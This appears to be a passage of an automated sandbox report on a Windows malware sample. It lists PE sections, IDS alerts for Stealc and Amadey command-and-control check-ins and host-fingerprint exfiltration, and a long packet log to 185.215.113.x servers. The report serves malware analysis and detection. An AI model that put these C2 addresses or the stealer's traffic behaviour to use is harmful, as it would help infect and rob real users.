gedkwpmr	0x4c0000	0x1000	0x600	ff23216d690fde6177505ab5814b09b5	False	0.5455729166666666	data	4.863923524859373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c1000	0x3000	0x2200	52c2111608c493502ca90d43d1b82711	False	0.050091911764705885	DOS executable (COM)	0.4820419231005553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bf3ec	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-01T02:48:20.845187+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49765	80	192.168.2.4	185.215.113.100
2024-09-01T02:48:02.985891+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	49730	80	192.168.2.4	185.215.113.19
2024-09-01T02:48:03.989003+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49731	80	192.168.2.4	185.215.113.16
2024-09-01T02:48:10.273524+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49736	80	192.168.2.4	185.215.113.16
2024-09-01T02:48:06.425571+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	1	80	49730	185.215.113.19	192.168.2.4
2024-09-01T02:48:12.887997+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49737	80	192.168.2.4	185.215.113.19
2024-09-01T02:48:09.417128+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49734	80	192.168.2.4	185.215.113.19
2024-09-01T02:48:07.179278+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49732	80	192.168.2.4	185.215.113.19
2024-09-01T02:48:10.012566+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49735	80	192.168.2.4	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 02:47:49.559423923 CEST	49678	443	192.168.2.4	104.46.162.224
Sep 1, 2024 02:47:50.481170893 CEST	49675	443	192.168.2.4	173.222.162.32
Sep 1, 2024 02:48:00.090516090 CEST	49675	443	192.168.2.4	173.222.162.32
Sep 1, 2024 02:48:02.237520933 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:02.242600918 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:02.242672920 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:02.242870092 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:02.247827053 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:02.985841036 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:02.985891104 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:02.987375021 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:02.992156029 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:03.241444111 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:03.241586924 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:03.244976997 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.249758005 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.249819994 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.249892950 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.254684925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.988943100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.988991976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989001989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989002943 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989032984 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989043951 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989046097 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989068031 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989080906 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989130974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989140987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989150047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989159107 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989166975 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989168882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.989190102 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.989218950 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.993858099 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.993917942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.993917942 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.993962049 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:03.993974924 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:03.994013071 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.075570107 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.075611115 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.075623989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.075649977 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.137912989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.137923002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.137933016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.137958050 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.137978077 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.138050079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.138092995 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.142659903 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.142668962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.142678022 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.142685890 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.142710924 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.142745018 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.142828941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.142868042 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.147433043 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.147444010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.147489071 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.147653103 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.147665977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.147674084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.147694111 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.147718906 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.152179956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.152192116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.152239084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.152318954 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.152338028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.152347088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.152360916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.152385950 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.156919956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.156929970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.156968117 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.156999111 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.157099009 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.157109976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.157119036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.157130957 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.157152891 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.204886913 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.204905987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.204943895 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.204967022 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.204979897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.205003977 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.205022097 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.205054998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.286881924 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.286936998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.286936998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.286946058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.286971092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.286988974 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.287072897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287082911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287117958 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.287131071 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.287137985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287147999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287184954 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.287643909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287652969 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287662983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287672043 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.287683964 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.287707090 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288202047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288212061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288220882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288229942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288239956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288264990 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288662910 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288700104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288710117 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288712978 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288728952 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288747072 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288758039 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288768053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288777113 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.288800001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.288815975 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.289630890 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289642096 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289650917 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289675951 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.289696932 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.289700985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289711952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289721012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.289736986 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.289747000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.289763927 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.290570974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290584087 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290596962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290616989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.290637970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290641069 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.290648937 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290657043 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.290677071 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.290688992 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.290694952 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.291464090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291512966 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291513920 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.291524887 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291548967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.291559935 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.291580915 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291590929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291599989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.291613102 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.291632891 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.292500019 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.292510033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.292520046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.292543888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.292556047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.292567015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.292577982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.292599916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.292612076 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.293134928 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.293154001 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.293164015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.293176889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.293194056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.293198109 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.293204069 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.293229103 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.293243885 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.435506105 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435672998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.435718060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435726881 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435744047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435754061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435762882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.435769081 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.435791969 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.435822010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436216116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436264038 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436269045 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436274052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436306953 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436326981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436336994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436347008 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436364889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436389923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436477900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436521053 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436599970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436609983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436644077 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436677933 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436686993 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436691999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436728954 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436924934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436934948 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436944962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436954975 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436965942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436970949 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436975956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436988115 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.436988115 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.436997890 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437027931 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437427044 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437437057 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437447071 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437473059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437486887 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437563896 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437572956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437582970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437592983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437604904 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437632084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437937021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437947035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437958002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.437977076 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.437999010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.438597918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438607931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438618898 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438642025 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.438652992 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.438663960 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438674927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438703060 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.438746929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.438790083 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.439958096 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440004110 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440021038 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440030098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440040112 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440063953 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440088034 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440138102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440149069 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440155029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440162897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440172911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440187931 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440212965 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440493107 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440502882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440514088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440530062 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440531969 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440540075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440548897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440572023 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440931082 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440939903 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440951109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440962076 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440972090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440975904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440975904 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.440985918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.440990925 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441015005 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441035986 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441382885 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441392899 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441401958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441426992 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441442013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441450119 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441452980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441457987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441462994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441482067 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441493988 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441495895 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441503048 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441513062 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441523075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441531897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441531897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.441553116 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.441582918 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.442274094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.442286015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.442296982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.442315102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.442318916 CEST	49731	80	192.168.2.4	185.215.113.16
